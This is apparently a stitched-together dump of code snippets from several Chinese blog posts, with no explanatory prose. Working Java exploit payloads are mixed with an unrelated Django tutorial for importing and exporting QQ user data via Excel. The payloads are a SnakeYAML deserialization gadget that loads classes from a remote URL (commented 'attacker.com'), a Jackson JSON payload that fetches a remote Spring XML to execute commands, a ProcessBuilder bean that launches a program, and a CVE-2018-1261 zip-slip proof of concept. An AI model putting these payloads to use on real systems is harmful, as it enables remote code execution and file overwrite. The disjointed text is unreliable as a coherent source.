import hackhttp
hh = hackhttp.hackhttp()
raw='''GET / HTTP/1.1
Host: 192.168.114.131:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=e3ddf82f35b66149fd856936ad03d6a3
Upgrade-Insecure-Requests: 1'''
code, head, html, redirect, log = hh.http('http://192.168.114.131:8080', raw=raw)
code
print html

import org.yaml.snakeyaml.Yaml;
public class Tester {
	public static void main(String[] args) {
	//正常的使用方式
	String normal = "key: hello yaml";
	Yaml yaml = new Yaml();
	Object obj = yaml.load(normal);
	System.out.print(obj);
	}
}

{key=hello yaml}

import org.yaml.snakeyaml.Yaml;
public class Tester {
	public static void main(String[] args) {
	//可触发反序列化漏洞的使用方式
	String malicious = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader "
                + "[[!!java.net.URL [\"http://127.0.0.1:8000\"]]]]";
	Yaml yaml = new Yaml();            // Unsafe instance of Yaml that allows any constructor to be called.
	Object obj = yaml.load(malicious); // Make request to http://attacker.com
	}
}

jad.exe -r -ff -d src -s java folder/**/*.class

-r：恢复源文件的目录结构
-ff：将类属性定义放在类方法定义之前
-d：输出目录
src：此处的src是输出目录的名称
-s：文件的扩展名
folder：.class文件所在的文件夹

import org.springframework.core.io.DefaultResourceLoader;
import org.springframework.core.io.Resource;
import org.springframework.core.io.ResourceLoader;
import org.springframework.integration.support.MessageBuilder;
import org.springframework.integration.zip.transformer.UnZipTransformer;
import org.springframework.messaging.Message;

import java.io.File;
import java.io.InputStream;

public class Main {
    private static ResourceLoader resourceLoader = new DefaultResourceLoader();
    private static File path =  new File("./CVE-2018-1261/");
    public static void main(final String... args) {
        final Resource evilResource = resourceLoader.getResource("classpath:testzipdata/test1.zip");
        try{
            InputStream evilIS = evilResource.getInputStream();
            Message<InputStream> evilMessage = MessageBuilder.withPayload(evilIS).build();
            UnZipTransformer unZipTransformer = new UnZipTransformer();
            //设置解压文件的目录为CVE-2018-1261
            unZipTransformer.setWorkDirectory(path);
            unZipTransformer.afterPropertiesSet();
            //漏洞入口点
            unZipTransformer.transform(evilMessage);
        }catch (Exception e){
            System.out.println(e);
        }
    }
}

<dependency>
  <groupId>org.springframework.integration</groupId>
  <artifactId>spring-integration-core</artifactId>
  <version>4.3.10.RELEASE</version>
</dependency>
<dependency>
  <groupId>org.springframework.integration</groupId>
  <artifactId>spring-integration-file</artifactId>
  <version>4.3.10.RELEASE</version>
</dependency>
<dependency>
  <groupId>org.springframework.integration</groupId>
  <artifactId>spring-integration-zip</artifactId>
  <version>1.0.0.RELEASE</version>
</dependency>
<dependency>
  <groupId>org.zeroturnaround</groupId>
  <artifactId>zt-zip</artifactId>
  <version>1.10</version>
</dependency>

import zipfile
 
if __name__ == "__main__":
    try:
        binary = b'ddddsss'
        zipFile = zipfile.ZipFile("test1.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("test1.zip")
        zipFile.writestr("../../dddwwtest.txt", binary)
        zipFile.close()
    except IOError as e:
        raise e

final File destinationFile = new File(tempDir, zipEntryName);

1 功能简介
2 开发环境搭建
3 开发要点
	3.1 建立项目
	3.2 建立应用
	3.3 处理模型层
		3.3.1 配置项目INSTALLED_APPS
		3.3.2 模型定义
		3.3.3 生成数据移植文件
		3.3.4 移植到数据库
	3.4 使用管理界面
	3.5 添加Excel导入功能
	3.6 添加Excel导出功能
	3.7 在其他电脑使用该Django小应用
4 小总结
5 一些参考资料

操作系统：Windows Server 2008 R2 Datacenter
Python版本：Python 2.7.13
IDE：JetBrains PyCharm 2018.3.1

# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import models
USER_TYPE_CHOICE = (
    ('黑名单', '黑名单'),
    ('白名单', '白名单'),
    ('未归档', '未归档'),
)

class QQUser(models.Model):
    QQ = models.CharField("QQ号", max_length=15)
    NickName = models.CharField("QQ昵称", max_length=30)
    UserType = models.CharField("用户类型", choices=USER_TYPE_CHOICE, default=USER_TYPE_CHOICE[2], max_length=50)

    class Meta:
        verbose_name = u'QQ管理表'
        verbose_name_plural = u"QQ管理表"

# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.contrib import admin
from .models import QQUser

class QQUserExcelToolAdmin(admin.ModelAdmin):
    list_display = ('QQ','NickName','UserType')
    search_fields = ('QQ','NickName','UserType')
admin.site.register(QQUser, QQUserExcelToolAdmin)

#-*-coding:utf-8 -*-
import os
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "P_QQ_Management.settings")
import django
django.setup()

from QQUser.models import QQUser
import xlrd

def import_qq_excel():
    try:
        # 数据源：test-file.xls
        data = xlrd.open_workbook("test-file.xls")
        # 第一章工作表
        table = data.sheets()[0]
        nrows = table.nrows
        print("开始将QQ信息导入数据库！")
        for i in range(1, nrows):
            item = table.row_values(i)
            # QQ号：位于工作表第1列
            QQ = str(int(item[0]))
            print(QQ)
            # 昵称：位于工作表第2列
            NickName = item[1]
            # 用户类别：：位于工作表第3列
            UserType = item[2]
            # 创建QQUser对象
            qqUser = QQUser(QQ = QQ, NickName = NickName, UserType = UserType)
            # 将QQUser对象保存到数据库中
            qqUser.save()
        print("QQ信息导入成功")
    except Exception as e:
        print(str(e))

if __name__ == '__main__':
    import_qq_excel()

# -*- coding: utf-8 -*-
import csv, codecs
from django.http import HttpResponse
import sys
reload(sys)
sys.setdefaultencoding('utf8')

def export_as_csv_action(description='Export selected objects as CSV file', fields=None, exclude = None, header = True):
    def export_as_csv(modeladmin, request, queryset):
        opts = modeladmin.model._meta
        if not fields:
            field_names = [field for field in opts]
        else:
            field_names = fields

        response = HttpResponse(content_type='text/csv')
        response.write(codecs.BOM_UTF8)
        response['Content-Disposition'] = 'attachment; filename={}.csv'.format(opts.verbose_name.encode('utf-8'))
        writer = csv.writer(response)
        if header:
            cn_field_names = ['QQ', '昵称', '用户类别']

            writer.writerow(cn_field_names)
        for obj in queryset:
        #row = [getattr(obj, field)() if callable(getattr(obj, field)) else getattr(obj, field) for field in field_names]
        #新增处理功能，比如处理时间的显示格式
            row = []
            for field in field_names:
                value = getattr(obj, field).encode("utf8")
#                if (field == 'publishing_time'):
#                    value = str(value)
#                if isinstance(value, datetime.datetime):
#                    value = value.strftime('%y-%m-%d')
                row.append(value)
            writer.writerow(row)
        return response
    export_as_csv.short_description = description
    return export_as_csv

# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.contrib import admin
from .models import QQUser
# 导入函数export_as_csv_action
from QQUser.csvutil import export_as_csv_action


class QQUserExcelToolAdmin(admin.ModelAdmin):
    list_display = ('QQ','NickName','UserType')
    search_fields = ('QQ','NickName','UserType')
    # 添加函数export_as_csv_action，自定义action
    actions = [export_as_csv_action('导出表格',fields=['QQ', 'NickName', 'UserType'])]
# 注册后台显示相应model信息：
admin.site.register(QQUser, QQUserExcelToolAdmin)

D:\P_QQ_Management>python manage.py migrate

JDK 1.8.0_151
apache-maven-3.3.3
IntelliJ IDEA 2017.1.3

{"id":123}

package com.qcct.myspring;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import java.lang.ProcessBuilder;

/**
 * Created by JJ on 2018/1/12.
 */
public class Test {
    public static void main(String[] args) {
        ApplicationContext context = new ClassPathXmlApplicationContext("spel.xml");
        ProcessBuilder pb = (ProcessBuilder) context.getBean("pb");
    }
}

<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="
     http://www.springframework.org/schema/beans
     http://www.springframework.org/schema/beans/spring-beans.xsd
">
  <bean id="pb" class="java.lang.ProcessBuilder">
     <constructor-arg value="mspaint.exe" />
     <property name="whatever" value="#{ pb.start() }"/>
  </bean>
</beans>

{"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml"]}

public static void main(String[] args) {
	ApplicationContext context = new ClassPathXmlApplicationContext("spring-idol.xml");
	Poet poet = (Poet) context.getBean("poet");
	poet.recite();
}